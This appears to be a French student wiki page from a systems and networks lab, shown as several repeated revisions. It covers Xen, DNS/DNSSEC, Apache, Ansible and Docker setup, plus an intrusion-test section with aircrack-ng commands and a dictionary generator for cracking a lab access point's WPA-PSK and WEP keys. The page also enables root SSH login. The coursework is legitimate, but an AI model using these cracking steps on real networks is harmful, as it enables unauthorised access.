Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

TP sysres IMA5sc 2019/2020 G4

2019-12-10T10:01:16Z

Zbriois : /* Création de votre conteneur */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#

#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'

#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]

#
# Physical volumes
#

#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Cordouan on installe de bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 rajoute automatiquement le nom du domaine

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre serveur bind9 :
service bind9 restart

En cas d'erreur on a accés au log dans /var/log/daemon.log

Sur gandi.net dans votre domain dans l'onglet glue records ajouté :
name : ns.chlamydiae.site
IP address : 193.48.57.180

c'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2 : ns6.gandi.net

===Serveur Apache===

Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options :
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclu alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
on signe les enregistrements de la zone en executant la commandde suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
on communique à ganid.net la parti publique de nos clé (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélection l'algorithme rsaha1). on le fait pour KSK et ZSK

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
# export http_proxy=http://proxy.plil.fr:3128
# export https_proxy=http://proxy.plil.fr:3128
# xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # = adresse de private-chlamydiae + 10
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 193.48.57.180 # l'adresse de la VM principale
address 192.168.0.4

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Sur la machine secondaire:
- on crée notre index.html (basique)
- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

====Configuration de vos serveurs internes====
====Equilibreur de charge====

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

TP sysres IMA5sc 2019/2020 G4

2019-12-10T09:25:45Z

Zbriois : /* Installation de docker */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#

#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'

#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]

#
# Physical volumes
#

#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Cordouan on installe de bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 rajoute automatiquement le nom du domaine

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre serveur bind9 :
service bind9 restart

En cas d'erreur on a accés au log dans /var/log/daemon.log

Sur gandi.net dans votre domain dans l'onglet glue records ajouté :
name : ns.chlamydiae.site
IP address : 193.48.57.180

c'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2 : ns6.gandi.net

===Serveur Apache===

Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options :
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclu alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
on signe les enregistrements de la zone en executant la commandde suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
on communique à ganid.net la parti publique de nos clé (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélection l'algorithme rsaha1). on le fait pour KSK et ZSK

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
# export http_proxy=http://proxy.plil.fr:3128
# export https_proxy=http://proxy.plil.fr:3128
# xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # = adresse de private-chlamydiae + 10
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 193.48.57.180 # l'adresse de la VM principale
address 192.168.0.4

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Sur la machine secondaire:
- on crée notre index.html (basique)
- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On le lance:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

====Configuration de vos serveurs internes====
====Equilibreur de charge====

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

TP sysres IMA5sc 2019/2020 G4

2019-12-10T09:25:31Z

Zbriois : /* Installation de docker */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#

#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'

#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]

#
# Physical volumes
#

#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Cordouan on installe de bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
